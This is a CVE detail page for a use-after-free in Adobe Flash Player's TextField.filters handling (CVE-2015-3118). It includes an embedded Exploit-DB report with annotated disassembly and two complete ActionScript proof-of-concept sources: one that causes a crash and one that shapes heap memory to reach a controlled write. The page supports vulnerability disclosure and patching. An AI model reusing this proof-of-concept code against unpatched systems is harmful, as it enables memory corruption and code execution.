CVE-2015-3118 : Detail

CVE-2015-3118

71.66%V3
Network
2015-07-09
14h00 +00:00
2017-09-21
07h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3124, CVE-2015-3127, CVE-2015-3128, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, CVE-2015-4430, and CVE-2015-5117.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37848

Publication date : 2015-08-18 22h00 +00:00
Author : bilou
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for https://code.google.com/p/chromium/issues/detail?id=480496] Credit is to bilou, working with the Chromium Vulnerability Rewards Program. --- VULNERABILITY DETAILS A little bug while setting the TextFilter.filters array. Chrome 42.0.2311.90 with Flash 17.0.0.169 VERSION Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169 Operating System: [Win 7 SP1] REPRODUCTION CASE We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169): .text:004D6964 loc_4D6964: .text:004D6964 and eax, 0FFFFFFF8h .text:004D6967 push edi .text:004D6968 mov edi, eax .text:004D696A mov ecx, edi .text:004D696C xor esi, esi .text:004D696E call xAS2_getArrayLength ; here we can override object.length and execute some code .text:004D6973 test eax, eax ; if that code frees the object pointed by ebx... .text:004D6975 jle short loc_4D69A3 .text:004D6977 .text:004D6977 loc_4D6977: .text:004D6977 push edi .text:004D6978 mov ecx, esi .text:004D697A call sub_4D3FE0 ; get an item from the object .text:004D697F add esp, 4 .text:004D6982 test eax, eax ; we have either a filter or 0 here .text:004D6984 jz short loc_4D6997 .text:004D6986 mov edx, [eax] .text:004D6988 mov ecx, eax .text:004D698A mov eax, [edx+18h] .text:004D698D call eax .text:004D698F push eax .text:004D6990 mov ecx, ebx ; ...we get a use after free here .text:004D6992 call sub_4CDB70 ; and a write-4 condition here .text:004D6997 .text:004D6997 loc_4D6997: .text:004D6997 mov ecx, edi .text:004D6999 inc esi .text:004D699A call xAS2_getArrayLength .text:004D699F cmp esi, eax .text:004D69A1 jl short loc_4D6977 Freeing the object pointed by ebx is easy indeed: var tfield:TextField = createTextField("tf",1,1,2,3,4) //create a TextField at depth 1 tfield.filters = [] //create the targeted object createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344 *************************************************************************** Content of flash_as2_filters_uaf_write4_poc.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "3" //It's because Flash CS5.5 does not allow naming a property with a numeral import flash.filters.GlowFilter; var tfield:TextField = createTextField("tf",1,1,2,3,4) function f() { _global.mc.createTextField("tf",1,1,2,3,4) } _global.mc = this _global.counter = 0 var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 1) f() return 10; } var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o *************************************************************************** Content of flash_as2_filters_uaf_write4.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "3" //It's because Flash CS5.5 does not allow naming a property with a numeral import flash.filters.GlowFilter; var a1:Array = new Array() var a2:Array = new Array() for (i = 0; i<0x3F8/4;i++) { a2[i] = 0x41424344 } a2[3] = 0 a2[0x324/4] = 0x41414100 a2[0x324/4 + 1] = 0x41424344 a2[0x324/4 + 2] = 0x41414143 a2[0x324/4 + 3] = 0x41414100 for (var i = 0; i<0x200;i++) { var tf:TextFormat = new TextFormat() a1[i] = tf } for (var i = 0; i<0x100;i++) { a1[i].tabStops = a2 } var tfield:TextField = createTextField("tf",1,1,2,3,4) function f() { _global.mc.createTextField("tf",1,1,2,3,4) for (var i = 0x100; i<0x200;i++) { _global.a1[i].tabStops = _global.a2 } } _global.mc = this _global.counter = 0 _global.a1 = a1 _global.a2 = a2 var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 1) f() return 10; } var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 13.0.0.289

Adobe>>Flash_player >> Version 14.0.0.125

Adobe>>Flash_player >> Version 14.0.0.145

Adobe>>Flash_player >> Version 14.0.0.176

Adobe>>Flash_player >> Version 14.0.0.179

Adobe>>Flash_player >> Version 15.0.0.152

Adobe>>Flash_player >> Version 15.0.0.167

Adobe>>Flash_player >> Version 15.0.0.189

Adobe>>Flash_player >> Version 15.0.0.223

Adobe>>Flash_player >> Version 15.0.0.239

Adobe>>Flash_player >> Version 15.0.0.246

Adobe>>Flash_player >> Version 16.0.0.235

Adobe>>Flash_player >> Version 16.0.0.257

Adobe>>Flash_player >> Version 16.0.0.287

Adobe>>Flash_player >> Version 16.0.0.296

Adobe>>Flash_player >> Version 17.0.0.134

Adobe>>Flash_player >> Version 17.0.0.169

Adobe>>Flash_player >> Version 17.0.0.188

Adobe>>Flash_player >> Version 17.0.0.190

Adobe>>Flash_player >> Version 18.0.0.160

Adobe>>Flash_player >> Version 18.0.0.194

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.468

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.144

Adobe>>Air_sdk >> Version To (including) 18.0.0.144

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.144

References

http://www.securitytracker.com/id/1032810
Tags : vdb-entry, x_refsource_SECTRACK
http://rhn.redhat.com/errata/RHSA-2015-1214.html
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201507-13
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/37848/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/75590
Tags : vdb-entry, x_refsource_BID